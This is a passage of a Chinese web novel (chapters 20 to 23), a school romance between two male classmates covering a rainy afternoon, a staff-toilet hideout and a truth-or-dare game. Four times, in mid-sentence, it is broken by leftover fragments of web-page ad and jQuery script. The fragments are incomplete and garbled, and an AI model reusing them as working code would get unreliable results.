谢遥集冲着人礼貌地笑了笑,端得是一副正派好学生模样:“嗯,家里最近事情多,有点忙。” 大爷立刻了然地一扬头,语气肃然起敬:“嚯,那真是辛苦你了,这种条件下学习成绩还这么好,难得啊。” 在一旁贯听全程的林藏初:“……” 屁!他家里除了一只猫和一张桌子,就没有别的东西,哪儿来的事情要忙? 20. Chapter 20 谢遥集跟大爷扯了好几分钟的闲聊,最后终于以“还要到班里学习”为由结束了话题。 林藏初跟在他身后进了校门。 县城早秋的阵雨来得快去得也快,此时已经彻底的晴了,就好像是特意为赶来学校的两个人下了一路。 夕阳在西北方向为几朵厚而润的雨云镀了一层好看的金色的毛边,再往南,是深蓝天穹中一道横贯而出的浅淡彩虹。 甜筒已经被林藏初一路上无所事事地啃完了,只留了个特意剩下的脆皮蛋筒。 他故意落后了谢遥集两步,趁对方不备十分迅速地把手里的蛋筒和包装纸塞进路旁的垃圾箱里。 面不改色地做完这一切,林藏初松了一口气,快步跟上前面的人。 谢遥集的步伐很快,身上半湿的白色T恤被风微微地吹起来,形成几道明显的褶皱,又重新平展成薄薄的一层。 听见他偏过头闷闷地咳了两声,林藏初好不容易调理好的愧疚又潮水般地漫上来:“要不然你穿我的外套吧。” “天怪冷的……小心感冒。” 谢遥集嗯了一声,没说好也没说不好。 又过了几秒,才慢半拍地扔过来句“不用了”。 林藏初估摸着约是这人面皮薄不好意思穿,刚想再客气一下,就听他幽幽道:“尺码太小,穿着难受。” 林藏初:“?” 林藏初那点儿没着没落的愧疚感散了个彻底,噌地一下窜到谢遥集面前,抓着人胳膊火冒三丈地讨说法。 “……姓谢的,你什么意思?” 谢遥集在原地站定了,气定神闲地伸出手掌,在他头顶虚虚地往自己的方向比了一道。 不多不少,正好到眉骨的位置。 林·比人矮了五厘米·藏初:“……” “妈的,好心当成驴肝肺,你自己在外面冻着吧!” 被嘲讽身高的林少爷撂下话转身闷头要走,没成想却被身后的人拉住了手腕。 林少爷奋力一甩,没甩开。 林藏初:“……” 他加重力气又是一甩,还是没能甩开。 简直狗皮膏药! 林藏初在心里恶狠狠地骂出来几个神形俱似的字,没好气地转过头,又问:“到底想干什么?” 谢遥集空着的右手抵着唇,又是几声轻咳,揶揄得逞之后嘴角弯起的弧度被挡得一干二净。 “开玩笑的。” 他在林藏初的注视下垂着眼睛松开手,冷风穿衣而过,带起一阵不轻不重的咳嗽声。 “……我想换套衣服。” 林藏初听见这个似乎着了凉的病人语气虚弱、我见犹怜地开口,“夏季校服好像在书包里,能不能麻烦你帮我拿一下?” … …… 临水一中北楼的楼梯在下雨天一向很难爬。 林藏初扶着三步一脚滑五步一趔趄地爬到四楼的时候,才开始后悔起自己刚才为什么要鬼迷心窍地答应谢遥集的请求。 他木着脸又爬了一层,拖着疲怠的腿走到高三(1)班的门口,与想象中的沉寂安静不同,隔着道门都能听见里面热热闹闹的吵嚷声。 “对二!!” 不知道是谁的大嗓门。 “三个九!!” 有人紧随其后地吼。 “——王炸!” 林藏初这回终于听清了,最后这个声音是高姿的,平素温柔的调子几乎兴奋到喊破音,“哈!我赢了!拿钱!” 林藏初:“……” 他有些麻木地伸手,吱呀一声推开了门。 门被推开的瞬间,里面就像忽然按下了静音键,所有的声音都销声匿迹。 离他最近坐在第一排的高姿正忙着把刚赢来的钱往自己外套兜里揣,桌面上还欲盖弥彰地放了一本数学优化学案。 “哟。”林藏初迈着步子往前一跨,声音懒洋洋的,听上去没什么精神,“哥几个聚众赌博呢?” “……” 他这一句杠下来,周围立刻响起来几声劫后余生的舒气声。 “卧槽林哥你进门怎么也不说一声啊!”有人从桌子底下龇牙咧嘴地钻出来抱怨,“还以为是邱姐回来了,吓死我了。” 旁边有人哈哈大笑:“你这叫什么来着,噢,抱头鼠窜!多形象!” 不是班主任忽然杀个回马枪过来查班,高姿也跟着松一口气,问林藏初道:“你去哪儿啦林神?一下午都没见你人。” “班里的斗地主和红十都打过三茬了。” “下雨了运动会没法办,大家在班里也都无聊,正好老师刚才去开年级会。你回来了——要不要加入我们扑克大军?” 高大委员的目光真挚、邀请诚恳,要不是林藏初看见她手里捏着一沓子盆满钵满的零钱,还真就信了。 林藏初摆摆手:“不了。我就是上来帮忙拿些东西。一会儿再说。” “噢。”富贵大鱼扑腾着肚皮蹦哒跑了没咬钩,高姿说不遗憾是不可能的,语气里也多了几分失落,“没事。下次肯定还有机会……” “……啊?” 话说一半,她眼睁睁地看着林藏初拿起自己旁边桌子上那只款式熟悉的黑色书包上下晃了晃。 如果没记错的话,这书包好像是谢神中午随手放过来的。 “林神……你这是?” 高姿咽了咽口水,总觉得自己窥探到了一些不可为外人道也的逸闻秘事。 尤其是看到林藏初从书包的隔层里扯出来一套夏季校服的时候。 “嗯。来帮同桌拿衣服。”林藏初神色恹恹,没想着要隐瞒,但也不欲做多解释。 深谙各种xx漫画的高姿脑袋里已经天人交战了几个回合:“哦……哦。” “那你快去吧,谢神肯定等急了。” 短话不过脑,高姿说完恨不得给自己一个巴掌,等急了?等什么急了?能不能别每天满脑子黄色废料! 林藏初倒是没听出来她话里的其他含义,只点了下头示意自己听见了,随后转身推门离开。 班里的扑克重新成局,高姿的视线却还粘在林藏初离去的背影上,不知为何,总感觉心里那种诡异的违和感久久不散。 虽然林神热心肠这事在班里不是秘密——但他怕麻烦的性子也众所周知。 除非是被雷劈了忽然转性,否则也没见谁能驱使过这位爷上来跑腿儿。 ……不过短短几天不见,班里两尊大神的交情,什么时候这么好了? * 交情不交情的,林藏初倒是不知道。 他只知道自己下楼的时候一个不注意,差点从五楼直接崴到三楼打120,又在心里没来由暴躁地把谢遥集给骂了一顿。 骂完了又心软,想着人家的衣服 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 确实是被自己给整成脏得连汤水不涝的样儿,帮忙跑个腿倒也正常。 提出要求的谢遥集正常,用行动以赔罪的他也正常。 ……不正常的只有暴雨天的北楼楼梯。 该死的北楼楼梯! 林藏初的怒火彻底转移了。 北楼不仅楼梯破旧易摔倒,其他的设施方面也是乏味可陈——譬如只有三楼这唯一一层才有给教职工专门设立的卫生间。 这是林藏初第一次在这个楼梯拐角处的神秘卫生间停留。 标着男厕一边的木门紧闭,林藏初想起来上楼之前,谢遥集说自己在里面等他。 ……不愧是学生会主席,连换衣服都要挑个违反八十二条校规的地方。 林藏初神游天外地想,抬手用了几成力气,梆梆梆地敲了三下卫生间的门。 “喏。衣服给你。” 吱呀一声,门很短暂地开了个小缝,戴着只廉价腕表的手从缝隙里探出来,把装着校服的袋子拿了进去。 林藏初只来得及看见卫生间里面一晃而过的白,就又听见呯的一声,眼前的门被人十分迅速地重新关上了。 险些猝不及防被砸了鼻子的林藏初:“……” 有病吧!我靠! 莫名其妙吃了闭门羹的林小少爷靠着门蹲下了,嘴里还在嘀嘀咕咕地嘟囔:“都是大老爷们,这么见外?” 也不知道里面的人多久才能出来,难得无聊,林藏初索性把兜里被遗忘许久的手机给掏了出来。 ——只要动作够隐蔽,哪里都是监控死角。节选自林少爷箴言几则。 教学楼的网络时好时坏,很不幸今天又恰巧是坏的一天。 林藏初第八百次打开某视频弹幕软件未果,叹了口气,转而又点进去之前玩过的单机游戏。 ……第一首曲子上面还挂着谢遥集亲手打下的三颗星星。 林藏初盯着看了半天,忽然乐不可支地一晒。 万一等以后谢遥集考个状元什么的,他是不是就能跟着出去吹,谢学神当初还拿他手机打过游戏了? 他一边想着,一边往下滑到最新关卡点了进去。 静音状态下没有欢快跳跃的钢琴背景音,这游戏就变成了一个索然无味的、用来测手速和反应能力的软件。 林藏初无所事事地点着屏幕上的黑块儿,忽然听见走廊传来一阵踢踏的皮鞋脚步声。 蒋主任的声音由远及近地远远传来,听上去似乎是在训斥这一楼层的某个班级:“吵什么吵?整个楼都能听见你们的声音!都给我回座位上去!” 林藏初手跟着一抖,不小心错点了黑块儿的位置,红色的错误提示闪了下,屏幕跳出来最后的游戏结算界面,只有一颗皇冠。 他根本来不及细看,条件反射般把手机塞进了裤子口袋里,探出头去看了一眼。 ——蒋主任已经骂完了高三(10)班的学生,正在往这边走。 临水一中第五十四条校规,学生不准擅自进入教学楼内部的教职工卫生间。 ……要是被主任看见他这么大一个人在这里杵着,真是跳进黄河也洗不清。 更甭提自己口袋里还揣着个亮着屏的手机。 电光石火间,林藏初深吸一口气,转过身去硬着头皮拍了拍卫生间的门。 “喂,蒋主任来了,不想被连累死就放我进去,你听见没有?” 21. Chapter 21 “……”没反应。 林藏初加重力气又拍了几下:“喂。” “……”还是没反应。 走廊里的脚步声愈来愈近,林藏初是真的有点火大了,他磨了下后槽牙,抬起脚就要往门板上踹—— 鞋底碰到门的前一瞬,久闭不开的卫生间终于被人舍得从里面打开,林藏初还没反应过来就被一阵巨大的力道不容分说地扯了进去。 一刹那,周围的布景摆设天旋地转,等他回过神时,自己已经被人抵在了卫生间的门上。 后背撞上门板发出咚的一声闷响,林藏初吃痛地抽了口气。 ……大白天的,这人发什么疯? 压到顶的火气终于一瞬间全都冒了出来,他张嘴就骂:“谢遥集我操——唔!” 剩下的几个脏字被一只陌生而冰凉的手悉数捂了回去。 “嘘。” 谢遥集低着头,伸出食指对他比了个噤声的手势。 这个姿势着实暧昧得很。 林藏初的一腔怒火被他四两拨千斤地嘘没了,不过发怔的几秒钟功夫,就听见清脆的“咔嗒”一声。 谢遥集的手从林藏初身侧穿过去,十分利落地把他靠着的门给锁上了。 林藏初:“……?” ……??? 他脑袋里的疑惑几乎要具现化呼在对面人的脸上,林藏初张了张嘴,刚要开口质问。 门外忽然传来一阵重重的敲门声。 几秒钟后门锁被人拧动,是蒋主任的声音:“有学生在里面吗?” “说话,以为把门反锁了我就抓不到你了?” 林藏初:“……” 好吧。 一门之隔的距离。 外面是守株待兔的蒋主任,里面是被谢遥集莫名其妙堵在门板上的他自己。 ……林藏初感觉自己从来没有这么崩溃过。 就在他即将在出去自首和死耗到底两个选项中做出选择的时候,谢遥集忽然动了。 他清了清嗓,扬声道:“蒋主任。” 外面逐渐急促的敲门声停了下来。 “……谢遥集?”隔着门的声音略微有些听不真切,但林藏初能想象到蒋主任无比疑惑的神情,“你怎么在这儿?” “衣服脏了,老师叫我过来换一下。” 谢遥集倒也没说谎,只是在后半句前面多加了个主语。 “喔!”蒋主任彻底收手了。 对着学校万里挑一的好学生,而不是某个明知故犯八十二条的违规者,他的语气瞬间和颜悦色起来:“那你抓紧时间换哈,别耽误别人。” 谢遥集客气道:“谢谢主任,我会的。” ……脚步声逐渐走远了。 林藏初的表情有些发木,看着谢遥集仿佛在看什么瘟神一样:就这?这就完了? 谢遥集松开手,略微往后一让,给林藏初留了个能站直自由活动的空间。 林藏初难以置信地把门锁拧开,探头朝外面空荡荡的走廊看了一眼。 “……这就走了?不抓了?” 谢遥集气定神闲的声音在他身后幽幽响起:“好学生特权。” 林藏初:“……” 他深吸一口气,搓了搓脸,强迫自己接受这个世界以成绩论天道的事实。 ……年级里脍炙人口的传言果然没说错,谢遥集这种人,在学校里还真就是横着走。 “别愣着了。走,回班。” 谢遥集从后面轻轻拍了下他的肩膀,示意他往出走。 等出了卫生间,林藏初才发现谢遥集的头发也是湿的,稍长的发尾搭在脖子上,正在往下滴着水。 剔透的水滴沿着他夏季校服的硬质衣领滑进去,又被布料吸收,在浅色的衣背处洇出一朵深色的花。 ……怪不得换衣服换了这么长时间。 林藏初跟在谢遥集身后很缓慢地往楼上走,一边走一边想,这人是把自己从头到脚全都洗了一遍吗? 北楼的楼梯还是很滑。林小少爷相较于上一回有了不少的防摔经验,小心翼翼地把脚下的每一步都踩稳,避开那些看似平整实则光滑得要命、踩上去就有概率一命呜呼的楼梯砖。 他屏着呼吸,小心翼翼地爬了半层楼梯。 再一抬头,谢遥集如履平地步伐稳健,走得已经快看不见影子了。 林藏初:“?” 他皱着眉喊道:“你走那么快,急着去见阎王赶集?” 三楼到五楼的楼梯寂静空荡,林藏初不算友善的问询从下面遥遥传来,自带混响。 谢遥集即将迈上下一阶楼梯的腿因为这句话而顿了一顿,随即从谏如流地收了回来:“正常速度……你怎么走这么慢?” 他撑着楼梯扶手,游闲松散地探身向下一望。 林藏初仰着头,黑溜溜的眼珠盯着他一转不转,半晌没说话。 谢遥集在心里默默丈量了一下两人之间落下的距离,现在好像确实是有点远。 本着对同桌少爷脾气的了解,他沉吟几秒,心领神会地开口给人铺起台阶来:“怎么了?是哪里不舒服吗?” “嗯。”林藏初慢吞吞地回答道,“脚崴了,走不了了。” 一句话,把谢学神睁眼说瞎话的本领学了个十足十。 谢遥集:“……” 谢遥集头疼地伸手抬了下眼镜:“就剩一层了,难不成还要我下来背你?” 林小少爷无视他话里的阴阳怪气,打定主意要把人恶心到死,随便找了个杆就顺着往上爬:“好啊。” 谢遥集:“?” 某电影里“波特!你胆敢用我教你的知识来对付我”的同款场面终于在今天被他遇上,谢遥集以沉默表示最高敬意,几乎要被对方这个无厘头的要求给气笑了。 然而出人意料地,几秒钟后,这人并没有如林藏初所想的那般气急败坏、扬长而去。 反倒是敛了方才倚着栏杆的懒散样子,站直了身子,扶着楼梯慢悠悠地往下走了几步。 这回轮到林藏初:“?” 林小少爷眼见着听信胡话的人距离自己越来越近,那点儿恶作剧得逞之后的暗喜陡然消散,心底的不安跟着往上拔高好几度。 ……不是,剧本里也没说有这步啊? 他不会真信了吧??? 只剩了最后一个台阶,谢遥集轻轻站定了,是个在林藏初看来很居高临下的位置。 “上来。” “……”林藏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 初站在楼梯中间的缓台上,缓缓地后退了一步。 谢遥集在他的注视下又踩下两节台阶,这回跟林藏初所处的地面高度平齐了。 “怎么不上来?” “……”林藏初又下意识后退了一步。 谢遥集面无表情地凑近了:“嗯?” 事实证明林小少爷还是太年轻单纯,与千年老狐狸的第一场交锋就败得溃不成军,落了个快要仓皇逃窜的下场。 林藏初盯着谢遥集那张放大的俊脸,满脑子都是:他邀请我了,我真的要趴上去吗?这个体重他能背得了吗?不会两个人一起从四楼滚下去吧? 谢遥集伸出手,在林藏初怔愣的眼神中晃了晃:“到底上不上来?” “啊……啊?” 林藏初终于回神,藏在头发里的耳垂漫了层薄薄的绯红色。 “要不还是,算了吧。” 被三言两语人架在弦上的少爷骑虎难下视线乱飘,恨不得把刚才自己那点儿狐假虎威的阵仗全都打碎了滚进肚子里。 “……我没崴脚,骗你的。” 谢遥集若有所思地点点头:“这样。” “那走吧。就当我白下来一趟。” 林藏初眼睁睁地看着他从“嘘寒问暖”到“漠不关己”,脸上的态度在两秒钟之内来了个一百八十度的大转变。 林藏初:“……” 凉飕飕的,怎么总感觉自己好像才是那个被骗的? 少爷冥思苦想,少爷劳而无功。 少爷跟着人屁股后面往楼上走,思考得太过入神,以致于没注意楼梯的损坏凹陷。 ……诅咒自己崴脚的报应终于还是到来了。 林藏初莫名其妙地脚下一滑,整个人直挺挺地就要往楼下摔:“!” “!!!” “救命”的“救”字刚喊出个首字母,他的手腕就被人扯住了。 林藏初摔到一半没摔成功,左脚和右脚在中途处于一个兄弟分家的高难度杂技动作状态。 谢遥集死死地握着他的手腕,看着人,沉默半晌。 许久,终于还是没忍住问:“你小时候是不是喝三鹿奶粉了?” 林藏初茫然抬头:“啊?” “……”谢遥集损人的话在少爷面前向来是折戟沉舟,他有些心累地叹了口气。 “没什么。走吧。” 话是这么说,但是他握着人的那只手并没有收回去。 林藏初从自己差点打120的悲惨遭遇里劫后余生地缓过神,刚想说谢谢,就感觉自己的手腕跟要折了一样,还在被谢遥集抓在手里。 好像那个鹰抓兔子。 林藏初往回一抽,谢遥集又往前一拽。 林藏初:“……” “我发誓我不会再脚滑了,好同桌,你松手吧。” 谢遥集表情平静地回过头,就好像自己手里握着的不是林藏初的腕骨,而是随便一根什么水里漂过来的流浪木头。 林藏初明晃晃看见他左眼里写着“真的吗”,右眼里写着“我不信”。 “……”林藏初忽然想起来一个小时前自己独自爬北楼楼梯时的惊险刺激。 “好吧。”林藏初彻底屈服了,“当我没说。” 22. Chapter 22 等两个人一路上树袋熊挂树似的折腾到班级,已经是二十分钟之后了。 谢遥集终于舍得松开林藏初被攥了一路的手腕,率先推开高三(1)班的门。 “……”班里果不其然又是一静。 林藏初跟在人身后钻进去的时候,只看到高姿还坐在原来那个熟悉的望风地方,正对着自己拼命地使眼色:谢神怎么回来了?他是来查纪律的还是单纯回班休息的? 班级依旧寂静无声,谢遥集熟视无睹已经绕过纪律散乱的众人在往座位上走了。 “……”林藏初顶着同学们如芒在背的视线,赶鸭子上架地短暂充当传令员,冲着高姿摇摇头,抬起胳膊,手腕朝外随意地扬了下。 意思是玩你们的,没事。 刻意营造出来的寂静在一瞬间荡然无存,各处的椅子拉蹭声接二连三延绵不绝。 林藏初还没来得及找自己兀自远去的同桌,视线就被其他围上来的同学挡了个严实,有几个人七嘴八舌地邀请他:“林哥!玩游戏不?” 他下意识地接道:“什么游戏?” “抽数字!真心话大冒险!” 旁边立刻有人跟着加码,“这东西人少了也不好玩,能多一个是一个。” 网瘾少年林藏初从小长到大都没听说过什么“抽数字”的游戏玩法,一时间被吸引过去:“怎么玩?” “简单!”周扬混在人堆里冒头,抢先开口跟林藏初解释起游戏规则,“先派一个人在白纸上随便写一个数字,当做是‘炸弹’,轮到其他人的时候要随机选择定好范围内的数字,写数字的人依据答案缩小范围,直到他写的‘炸弹’被人念出来。” “那么这个被‘炸弹’炸到的人就要在真心话和大冒险里选一个。” “哦!”林藏初听懂了。 向来不是缺席体育课就是躲在树下面玩手机的人对这种桌游有着一种无比新奇的新鲜感,立刻爽快道:“我也玩,算我一个。” “妥了,这样的话咱就是八个人了。”周扬点点头,从远处给林藏初搬来张椅子,“来,你坐这儿。” “——谁想当‘炸弹手’?” 林藏初在周扬为他安排的位置坐下来,此话一问,周遭难得寂静。 ……似乎是都不想做那个毫无游戏体验的工具人。 似乎是并没有料到这个场面,周扬有些尴尬地咳了两声。 “那不然我——” 这话是要自己牺牲的意思,林小少爷不是很在乎游戏形式,刚想开口,舍己为人地替周扬解个围。 身后的椅背忽然多了几分重量,似乎是有谁把手放在了上面,向下稍微压了压。 林藏初听见了个熟悉的清润嗓音,先他一步地打断周扬的话:“玩什么呢?” “带我一个?” “刚旁边没人坐着。”谢遥集整个人微微向下俯身,手指从林藏初的椅背收回来,又轻轻搭在他的肩膀上,“怪无聊的。” 林藏初:“……” 不是,怎么就去而复返了? 学神难得要跟普通人一起玩,周扬先是一愣,随即立刻反应过来:“好啊!谢神你也来,九个人正好。” 说完就要去给人再找张椅子,他转了一圈没找到,再一回头,谢遥集已经自顾自从身侧拉了张空着的木椅,坐在了林藏初旁边。 “……”周扬莫名感觉自己刚才的好心多此一举,有些不自然地摸了摸鼻子,“那啥,既然大家都选好位置了,那就开始吧。” 问题又重新绕回了最初:“谁想当‘炸弹手?’” 不知是谢遥集加入的原因,还是大家真的良心发现不想让周扬再次难堪,这次反倒一堆人跟着他的问话举了手。 方有才身为英语课代表,幽幽开口提议:“既然都想当,要不然轮流来吧?” “这样对大家都公平。” “嗯。”他左边的女生紧随其后地点点头,“我赞成。” 有人主动提出解决方案,原本还在犹豫该选谁的周扬立刻松了口气:“好,那就这么办。” “从方哥开始,顺时针轮吧。” 方有才被他点名,点了点头跟着站起来,从周扬手里接过一叠空白的便利贴。 ……不是没有演算纸,而是便利贴更有性价比。 方同学沉吟几秒,抬笔在便利贴上写下了个数字。 “写好了。”他抬起头扫视一圈,淡然道,“范围是从零到一百。” 众人立刻坐直身体,肉眼可见地认真起来。顺时针轮过去的第一位就是周扬,他不假思索地喊了个中位数:“五十。” “好,下一个。”方有才把便利贴扣在了手里,“从零到五十。” 排在周扬左侧的女生深吸一口气,接道:“二十九。” 方课代表若有所思地点点头:“很安全,接下来是从零到二十九。” “十七!” “从零到十七。” “……九?” “不是哦,from zero to nine~” 下一个是林藏初。 林小少爷英语不好,反应了一会儿才听出来方有才说的这是从零到九。 周围人的注视都落在他身上,林藏初心里也有一点紧张,嗓子有点发紧:“我选二。” 方有才先是“哎呀”了下,随后笑眯眯地拍了拍手。 “很遗憾答错了,下一位。” “……从零到二。” 其余几人倒吸一口冷气。 从零到二?这不就只剩下三个数了? 看样子林藏初后面那位可要倒霉了……他后面谁来着? 看热闹不嫌事大的周扬一边想乐不可支地咳嗽了两声,但又总感觉自己忘了点儿什么。 周扬下意识把视线往林藏初那边一瞥,记忆瞬间回笼,剩下的幸灾乐祸全梗在了嗓子眼:“……” 救命,到底谁叫谢神拎椅子坐那儿的! 谢遥集并不知道自家迷弟心里这些蜿蜒曲折的心路历程,就算被架到三选一自挑炸弹的地步上,他也没慌。 他不动声色地瞥了一眼旁边的林藏初,这人似乎在略微自责自己方才喊出口的“二”。 仔细看,又好像掺了几分蠢蠢欲动的隔岸观火。 谢遥集:“……” 真是什么心思都能写在脸上。 他叹了口气,霎时觉得这游戏有些索然无味,随口挑了个数字:“我选零。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 话音未落,方有才立刻夸张地“哇”了一声。 “谢神,你确定吗?”课代表捏着写着数字的便利贴循循善诱,“不再思考一下?” 谢遥集推了下眼镜:“概率都一样,没什么好思考的。” 方有才赞同地点点头:“谢神说的对。” “所以——”他把便利贴一整张撕了下来,朝着大家晃了晃,“嘿,Congratulations!” ……纯白色的便利贴上,赫然画着个鸭蛋似的圆圈。 谢遥集:“……” 三分之一的概率,真就能这么倒霉? 许是他脸色黑得过于明显,旁边的林藏初围观全程,立刻很没形象地笑倒了:“哈哈哈哈哈哈哈哈!” “知道你在游戏方面手生得很,但没想到还能是这个生疏法……堂堂学神一发入魂,噗,说出去多掉面子。” “……”谢遥集面无表情警告似的看了他一眼。 林藏初对上他的视线丝毫不惧,挑衅般扬了扬眉:我就笑,怎么了? 周扬在两人这种似真似假的针锋相对里抖了个寒战,忙不迭打着哈哈往下cue流程:“谢神得罪,来,选一个。” “真心话还是大冒险?” 方有才配合地屈起手指敲了敲面前的桌子,上面放着两摞分好的卡片。 谢遥集沉吟几秒,稍一合计,果断从写着“大冒险”的纸牌堆里抽了一张。 他动作太快,周扬想拦都没拦住,剩下的半截话没说完:“大冒险的卡牌是大家当时随便写的,有几张的尺度可能不那么容易接受……” 周扬的语气渐渐弱下去,因为他看见谢神的脸色,似乎,好像,不是很明媚。 谢遥集盯着卡片上的白纸黑字,花了几秒钟来消化自己一抽就中了困难惩罚的事实。 不知道谁写的,很秀气的楷体字,但是内容却不是很友好。 林藏初本来还在幸灾乐祸的笑,直到听见课代表从谢遥集手里接过那张卡片,一字一顿地念出上面的内容:“呃……公主抱距离自己最近的、性别相同的同学,并原地转十圈?” 林藏初:“?” ——他怀疑自己听错了。 谢遥集脸上没什么表情,林藏初眼睁睁地看着他“唰啦”一声拉开挡着路的椅子,朝着自己走过来。 看样子,是真的要尽职尽责地履行这个不很寻常的大冒险。 公主抱。转五圈。 林藏初脑袋里只剩下这两个词绕来绕去地转,他不死心地朝着谢遥集的空座位附近又看了看。 左边是他,右边是个女生。 前面和后面的又都离太远,群众的眼睛都是雪亮的,就算他咬死了也不可能诡辩成功。 “……” 气氛一时安静得有些诡异,仿佛又回到了十几分钟前决定“炸弹手”的时候。 现在也是个“炸弹”,此炸弹非彼炸弹。 输了游戏的人在自己面前缓缓站定,高低差太大,林藏初不得不稍仰起头来看他。 谢遥集低着头,就好像几个小时前“强买强卖”把猫托付给他的那样,半是无奈的语气。 “委屈一下,帮个忙?” 23. Chapter 23 “……”林藏初没来由地想起来楼梯间里他那句“不上来?”的反问,下意识咽了口唾沫。 他心里天人交战,最终还是屈服在了周围同学们的起哄声里。 游戏归游戏,不就是抱一下吗,有什么的? 林少爷如此笃定地安慰自己,跟着从座位上站起来。 热闹声从他站起身的一瞬间变得更大了更有甚者还热心肠地帮两个人清出来一片宽敞的空地来,以供发挥。 谢遥集错开他的视线,转身往空地走了两步。 ……看着好像很沉稳自如,但是脚下的步子又有点顿促。 学神也在紧张。 这个突如其来的认知让林藏初的心情莫名其妙地变好了一点,他走到谢遥集旁边,拍了下对方的肩膀。 “记得抱稳一点。”林藏初放狠话似的叮嘱,“不然让你见不到明天的太阳。” 谢遥集有点想笑,但是忍住了。 他煞有其事地点点头,视线认真地看着林藏初的眼睛,很配合地答应道:“遵命,少爷。” 林藏初被这人嘴里的新称呼打了个措手不及,还没来得及反应,就感觉自己腰上箍了阵强劲的力道。 不过一个呼吸的功夫,他整个身体措不及防地腾空,回神时已经稳稳地落在了对方的怀里。 ……很稳。 尖叫声几乎要把整个班级的天花板给掀了,林藏初脑瓜子嗡嗡的,不知道是被抱的还是被喊的。 他听见谢遥集胸腔里强而有力的心跳,身体隔着衣服透过来的温热,以及呼吸时的规律起伏。 林藏初的视线被挡去一半,余下的目光里只能看见这人裸露在外覆着薄薄一层漂亮肌肉的手臂,以及两个人身后被人弄乱的桌椅。 视野里班级的桌椅变了位置,稍长一些的头发跟着旋转时带起来的惯性风吹在脸上,有点痒。 他长手长脚地窝在谢遥集并不算柔软、甚至称得上有些硌人的怀抱里,听见男生女生们整齐划一的起哄喊声:“一圈!两圈!” …… “五!加油!已经六圈了!” ………… “——九圈,十圈!好!” 不知过去了多久,离得近的女生率先鼓掌,看上去笑靥如花红光满面的:“恭喜完成!” 林·煎熬得要死·藏初松了口气,立刻抬眼去看谢遥集,眼神示意:快把我放下来? 谢学神不愧是天选的勤工俭学分子,十圈转下来脸不红气不喘,接收到林藏初的暗示也只是嗯了一声,没动。 依旧被他抱在怀里的林藏初:“?” “不是,哥们。”他控制好力度地稍微挣扎了一下,“你这是没抱够?” 谢遥集又低头看了他一眼。 隔了几秒,才低声道:“有点晕。” “……让我缓缓。” 林藏初:“……” 抱着人缓,不是更晕吗? 他刚想大骂“什么狗屁借口”,身体一轻,不出三秒,整个人就被谢遥集稳稳当当地放在了座位旁边的地上。 “好了。”谢遥集说,“你下来吧。” 林藏初:“……” 该骂的话没骂出来,现在再骂又有一点不讲理的嫌疑在。 林小少爷左想右想,到底是没能想出来个解气的法子,梗着脖子,“扑通”一声坐下了。 确实是“扑通”,可能因为他坐得太用力,也可能是这张椅子本来就已经活到了寿命尽头。 林藏初这一屁股坐下去,摇摇欲坠的椅子当场就表演了个噼里啪啦的散架过程——木板飞了,椅子腿也掉了。 少爷茫然地坐在高三(1)班的大理石地板上,懵了。 这边的动静实在太大,惹得几乎班级里所有各玩各的的学生全部都扭头看了过来。 有人率先反应过来,哎呦了一声,一群离得近的七手八脚地去扶人,林藏初被几只不知是谁的胳膊像拔蒜苗一样拎起来,只觉得自己方才被谢遥集转晕的头现在变得更晕了。 高大生委从自己的斗地主手牌里抬起头,看见这活像是聚众斗殴一般的凌乱现场,险些一口气没上来:“……椅子又碎一个?” “从哪儿搬过来的??” 林藏初已经被扶到另外的健康椅子上休息了,只剩下周扬一个人还在原地研究这椅子到底是怎么分崩离析地碎掉的。 听见高姿喊,他先是仔细回忆了几秒钟。 随后举起胳膊,遥遥一指:“就在那边啊。” 高姿顺着他手指的方向看过去,果不其然看见了被挪走的杂物桌子,被放在一边的班级崭新的水盆子(林神慷慨下单版),以及不翼而飞的、原本应该在水盆下面老老实实放着的椅子。 高姿:“……” 高姿有些崩溃了:“周同学,你搬椅子之前都不仔细看看的吗?” “这椅子是上次大扫除的时候淘汰下来的,前腿缺俩螺丝不说,就连椅子背都是坏的。” “……你要搞班内谋杀啊?” “噗嗤。” 旁边有人不合时宜地笑出声。 被谋杀者林藏初幽幽转头,惊奇地发现声音的来源竟然是谢遥集。 这人已经不知什么时候已经穿过了一大群看热闹的同学,正好整以暇地站在自己身边,看样子也是来准备关怀慰问伤员的—— 当然,也可能是来近距离看笑话的。 ……几分钟前还搂搂抱抱呢,总归不会这么无情吧? 林藏初盯着谢遥集那张堪称年级第一好看的脸,在心里无端地想。 他刚想开口说话,好问问这人到底是来干嘛的。 班级门口忽然传来一阵重重的敲门声,先是一张熟悉的国字脸出现在了玻璃窗上,几秒钟后高三(1)班的门被人完全地敞开了:“——你们班值日生呢?” “外面走廊漏的雨都成河了,不知道收拾一下吗?留着给人洗澡呢?” 蒋主任标志性的烟嗓混着愤怒,无比公平地灌进班内每一个学生的耳朵里。 火气冲头,他先是骂了几句,然后才觉出这个班级里桌椅排列的不对劲来:“这桌子怎么回事?怎么都横七竖八的?” 高姿赶在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他目光扫射过来之前迅雷不及掩耳地把打到一半的扑克牌收进桌屉里:“没有主任,您看错了,我们正在挑教室里损坏的桌椅。” 害怕对方不信,她特意一个箭步冲上前,把那张在林藏初屁股底下散了花的椅子拽过来,拎到蒋主任面前手动进行了个近距离特写:“喏。您看,这安全隐患多严重啊。” 站在门口的蒋主任被她突如其来的椅子怼脸惊得下意识往后一仰脖子。 好不容易缓过神来,定睛一看,嚯,这椅子不是椅子木头不是木头的,哪个学生敢坐? 他的表情一下子严肃起来,正色道:“你们这种做法是正确的,平时的安全隐患也要多加注意。至于像这种损坏严重的椅子,就更要及时上报学校更换,免得发生意外。” 高姿等人立刻点头如捣蒜:“是是,主任您说的是。” 蒋主任被这么一打岔,也忘了自己一开始到底是因为什么才进了高三(1)班的门,又多加叮嘱了几句,就转身出去了。 一边走一边挠着头发嘀咕道:“奇了怪了,总感觉还有什么话没说完……” 